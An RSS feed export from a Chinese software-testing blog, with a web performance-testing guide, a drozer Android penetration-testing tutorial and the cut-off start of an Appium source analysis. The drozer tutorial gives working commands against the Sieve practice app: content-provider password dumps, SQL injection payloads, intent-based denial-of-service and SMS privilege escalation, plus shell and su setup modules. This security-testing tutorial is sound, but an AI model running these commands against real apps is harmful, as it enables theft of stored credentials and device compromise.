﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-qileilove-随笔分类-测试学习专栏</title><link>http://www.blogjava.net/qileilove/category/49781.html</link><description>blog已经转移至github,大家请访问qileizhaokan.github.io</description><language>zh-cn</language><lastBuildDate>Wed, 18 Mar 2015 14:11:18 GMT</lastBuildDate><pubDate>Wed, 18 Mar 2015 14:11:18 GMT</pubDate><ttl>60</ttl><item><title>如何进行Web服务的性能测试？</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:08:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423598.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423598.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423598.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　随着浏览器功能的不断完善，用户量不断的攀升，涉及到<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>服务的功能在不断的增加，对于我们<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>来说，我们不仅要保证服务端功能的正确性，也要验证服务端程序的性能是否符合要求。那么<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能测试</strong></u></a>都要做些什么呢？我们该怎样进行性能测试呢？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">性能测试一般会围绕以下这些问题而进行：</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　1. 什么情况下需要做性能测试？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　2. 什么时候做性能测试？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　3. 做性能测试需要准备哪些内容？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　4. 什么样的性能指标是符合要求的？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　5. 性能测试需要收集的数据有哪些？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　6. 怎样收集这些数据？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　7. 如何分析收集到的数据？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　8. 如何给出性能测试报告？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　性能测试的执行过程及要做的事儿主要包含以下内容：</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　1. 测试评估阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　在这个阶段，我们要评估被测的产品是否要进行性能测试，并且对目前的服务器环境进行粗估，服务的性能是否满足条件。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　首先要明确只要涉及到准备上线的服务端产品，就需要进行性能测试。其次如果产品需求中明确提到了性能指标，那也必须要做性能测试。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　测试人员在进行性能测试前，需要根据当前的收集到的各种信息，预先做性能的评估，收集的内容主要包括带宽、请求包大小、并发用户数和当前web服务的带宽等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　2. 测试准备阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　在这个阶段，我们要了解以下内容：</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　a. 服务器的架构是什么样的，例如：web服务器是什么？是如何配置的？<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>用的是什么？服务用的是什么语言编写的？；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　b. 服务端功能的内部逻辑实现；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　c. 服务端与数据库是如何交互的，例如：数据库的表结构是什么样的？服务端功能是怎样操作数据库的？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　d. 服务端与客户端之间是如何进行交互的，即接口定义；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　通过收集以上信息，测试人员整理出服务器端各模块之间的交互图，客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流程图。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　e. 该服务上线后的用户量预估是多少，如果无法评估出用户量，那么可以通过设计测试执行的场景得出这个值；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　f. 上线要部署到多少台机器上，每台机器的负载均衡是如何设计的，每台机器的配置什么样的，网络环境是什么样的。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　g. 了解测试环境与线上环境的不同，例如网络环境、硬件配置等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　h. 制定测试执行的策略，是需要验证需求中的指标能否达到，还是评估系统的最大处理能力。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　i. 沟通上线的指标</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　通过收集以上信息，确定性能<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试用例</strong></u></a>该如何设计，如何设计性能测试用例执行的场景，以及上线指标的评估。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　3. 测试设计阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　根据测试人员通过之前整理的交互图和流程图，设计相应的性能测试用例。性能测试用例主要分为预期目标用户测试，用户并发测试，疲劳强度与大数量测试，网络性能测试，服务器性能测试，具体编写的测试用例要更具实际情况进行裁减。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　用例编写的步骤大致分为：</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　a. 通过脚本模拟单一用户是如何使用这个web服务的。这里模拟的可以是用户使用web服务的某一个动作或某几个动作，某一个功能或几个功能，也可以是使用web服务的整个过程。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　b. 根据客户端的实际情况和服务器端的策略，通过将脚本中可变的数据进行参数化，来模拟多个用户的操作。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　c. 验证参数化后脚本功能的正确性。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　d. 添加检查点</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　e. 设计脚本执行的策略，如每个功能的执行次数，各个功能的执行顺序等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　4. 测试执行阶段<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　根据客户端的产品行为设计web服务的测试执行场景及测试执行的过程，即测试执行期间发生的事儿。通过监控程序收集web服务的性能数据和web服务所在系统的性能数据。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在测试执行过程中，还要不断的关注以下内容：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　a. web服务的连接速度如何？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　b. 每秒的点击数如何？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　c. Web服务能允许多少个用户同时在线？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　d. 如果超过了这个数量，会出现什么现象？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　e. Web服务能否处理大量用户对同一个页面的请求？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　f. 如果web服务崩溃，是否会自动恢复？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　g. 系统能否同一时间响应大量用户的请求？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　h. 打压机的系统负载状态。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　5. 测试分析阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　将收集到的数据制成图表，查看各指标的性能变化曲线，结合之前确定的上线指标，对各项数据进行分析，已确定是否继续对web服务进行测试，结果是否达到了期望值。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6. 测试验证阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在开发针对发现的性能问题进行修复后，要再执行性能测试的用例对问题进行验证。这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能，所以在验证性能的同时，也要关注原有功能是否受到了影响</div></div><div id="weixin_s" style="word-break: break-all; margin: 0px 0px 10px; width: 350px; height: 32px; display: inline-block; position: relative; line-height: 1.8em !important; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"><div style="word-break: break-all; margin: 4px 0px 10px 130px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal !important; background-color: #ffffff;"></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/423598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:08 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用drozer进行Android渗透测试</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:06:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423597.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423597.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423597.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">一、安装与启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1. 安装</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第一步：从http://mwr.to/drozer下载Drozer (<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>&nbsp;Installer)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第二步：在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>设备中安装agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　adb install agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2. 启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第一步：在PC上使用adb进行端口转发，转发到Drozer使用的端口31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　adb forward tcp:31415 tcp:31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第二步：在Android设备上开启Drozer Agent</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　选择embedded server-enable</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第三步：在PC上开启Drozer console</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　drozer console connect</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　二、<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>步骤</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　1.获取包名</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　dz&gt; run app.package.list -f sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　2.获取应用的基本信息</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.package.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　3.确定攻击面</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.package.attacksurface com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　4.Activity</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（1）获取activity信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.activity.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（2）启动activity</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.activity.start --component com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　dz&gt; help app.activity.start</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--component PACKAGE COMPONENT] [--data-uri DATA_URI]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--mimetype MIMETYPE]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　5.Content Provider</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（1）获取Content Provider信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（2）Content Providers（数据泄露）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　先获取所有可以访问的Uri：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.finduris -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　获取各个Uri的数据：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　查询到数据说明存在漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（3）Content Providers（<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　报错则说明存在SQL注入。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　列出所有表：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　获取某个表（如Key）中的数据：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（4）同时检测SQL注入和目录遍历</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.injection -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.traversal -a com.mwr.example.sieve<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">6 intent组件触发（拒绝服务、权限提升）</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　利用intent对组件的触发一般有两类漏洞，一类是拒绝服务，一类的权限提升。拒绝服务危害性比较低，更多的只是影响应用服务质量；而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用，从而帮助其完成越权行为。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1.查看暴露的广播组件信息：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.info -a com.package.name　　获取broadcast receivers信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2.尝试拒绝服务攻击检测，向广播组件发送不完整intent（空action或空extras）：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send 通过intent发送broadcast receiver</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　(1) &nbsp; 空action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　(2) &nbsp; 空extras</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3.尝试权限提升</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　权限提升其实和拒绝服务很类似，只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关，所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具，可以参考IntentFuzzer，其结合了drozer以及hook技术，采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（1）获取service详情</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.service.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　不使用drozer启动service</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　am startservice &#8211;n 包名/service名</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（2）权限提升</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　7.文件操作</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　列出指定文件路径里全局可写/可读的文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　8.其它模块</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　shell.start 在设备上开启一个交互shell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　tools.file.upload / tools.file.download 上传/下载文件到设备</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件</div></div><img src ="http://www.blogjava.net/qileilove/aggbug/423597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:06 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Appium Android Bootstrap源码分析之命令解析执行</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421668.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:25:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421668.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421668.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421668.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421668.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">通过上一篇<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>《<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: 